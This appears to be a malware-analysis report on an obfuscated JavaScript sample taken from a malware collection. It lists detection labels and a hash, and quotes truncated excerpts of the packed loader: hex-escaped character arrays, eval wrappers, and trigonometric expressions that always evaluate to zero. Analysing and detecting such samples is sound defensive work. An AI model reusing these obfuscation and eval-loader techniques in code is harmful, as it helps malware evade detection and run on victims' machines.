Suspicious ^80% javascript-malware-collection Download

20151214_66ef4ba4996aa04381908c7f68e4e5bc.js

Obfuscated eval execution

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-25619325c60339f3b3aab510dbf93b72586dc60833383692789b99a0f447cfd60a6

Evidence

Single-line packed JavaScript loader profile lines 1–2

1var F=new Array();
2d(F,"\x35");d(F,"\x4e");d(F,"\x6d");d(F,"\x79");d(F,"\x6b");d(F,"\x67");d(F,"\x4b");d(F,"\x76");d(F,"\x3b");d(F,"\x6a");d(F,"\x2f");d(F,"\x7a");d(F,"\x42");d(F,"\x63");d(F,"\x28");d(F,"\x63");d(F,"\x23");d(F,"\x2f");d(F,"\x4a");d(F,"\x76");d(F,"\x62");d(F,"\x53");d(F,"\x35");d(F,"\x30");d(F,"\x6b");d(F,"\x2f");d(F,"\x4a");d(F,"\x40");d(F,"\x6e");d(F,"\x51");d(F,"\x55");d(F,"\x33");d(F,"\x31");d(F,"\x49");d(F,"\x23");d(F,"\x52");d(F,"\x4c");d(F,"\x48");d(F,"\x6a");d(F,"\x45");d(F,"\x35");d(F,"\x44");d(F,"\x3b");d(F,"\x20");d(F,"\x48");d(F,"\x49");d(F,"\x31");d(F,"\x47");d(F,"\x68");d(F,"\x4c");d(F,"\x4d");d(F,"\x57");d(F,"\x3d");d(F, …

0xff hex byte token line 3

3:199… xc0,0xc4,0xcb,0xce,0xd5,0xd9,0xdd,0xe4,0xe7,0xef,0xf4,0xf6,0xfe,0xff,0x105,0x10a,0x10e,0x117,0x11c,0x120,0x125,0x12a,0x12d,0x134,0x13a,0x13f,0x140,0x147,0x14e,0x151,0x155,0x15d,0x161,0x163,0x16c,0 …

Builds characters with String.fromCharCode line 4

4:236… 39],F[40],F[41],F[42],F[43],F[44],F[45],F[46],F[47],F[48],F[49],String.fromCharCode(10),F[50],F[51],F[52],F[53],F[54],F[55],F[56],F[57],F[58],F[59],F[60],F[61],F[62],F[63],String.fromCharCode(13),F[64],F[65],F[6 …

Calls JavaScript toString conversion method lines 6–8

6:35… rnSMQq,talguIBZ){TEQw=parseInt(apInPpwGzua,rfxHJyArnSMQq);OoqVe=TEQw.toString(talguIBZ);return OoqVe;}function mKiOwicgNTWRbie(rplRFbwKnTOWIdjJq,oCpYHnahuXahLgbjdcywJIHjVJRQLUmnHW,ABhhyBnnOXonYKDCsPeBaBrVmICLpbtuTnH){eval(rplRFbwKnTOWIdjJq)}
7function mKiOwicgNTWRbie(rplRFbwKnTOWIdjJq){eval(rplRFbwKnTOWIdjJq)}
8function sciWcTuwgoTvytUhmVhvZcTIwjQiLDUEEuiZgLqYCDmNu …

Numeric sine-square obfuscation expression lines 13–16

13:13… ,W];
14var vuwseAfiv=[];
15function ZNDXPEfebBCzmhfde(lfjLr){gBmVdzQlWKb= F[1720];for(HRcgxhYiUfI=Math.round((Math.pow(Math.sin(757), 2) + Math.pow(Math.cos(757), 2) - 1)); HRcgxhYiUfI < (-340+632)/146; HRcgxhYiUfI++) {vuwseAfiv[HRcgxhYiUfI]=Math.round((Math.pow(Math.sin(63), 2) + Math.pow(Math.cos(63), 2) - 1)); while(true) { if(vuwseAfiv[HRcgxhYiUfI] > lfjLr[HRcgxhYiUfI].length-(-116+595)/479) { break; } if (zAAxZaM(LncbR(lfjLr[HRcgxhYiUfI][vuwseAfiv[HRcgxhYiUfI]],(12197+235)/444,(3303+297)/360))) {gBmVdzQlWKb += sciWcTuwgoTvytUhmVhvZcTIwjQiLDUEEuiZgLqYCDmNumamMsRiVB([lfjLr[HRcgxhYiUfI][vuwseAfiv[HRcgxhYiUfI]]], Math.round((Math.pow(Math.sin(555), 2) + Math.pow(Math.cos(555), 2) - 1)));} vuwseAfiv[HRcgxhYiUfI]++;}} return gBmVdzQlWKb}
16var JeRDjiGvsyrVsYmjlvITzgUtCLjmceHpU = F[1721];var rtjdOsGQtnBarwLCTGkazPduyRvhjDgU = F[1722];mKiOwicgNTWRbie(ZNDXPEfebBCzmhfde(lfjLr),JeRDjiGvsyrVsYmjlvITzgUtCLjmceHpU,rtjdOsGQtnBarwLCTGka …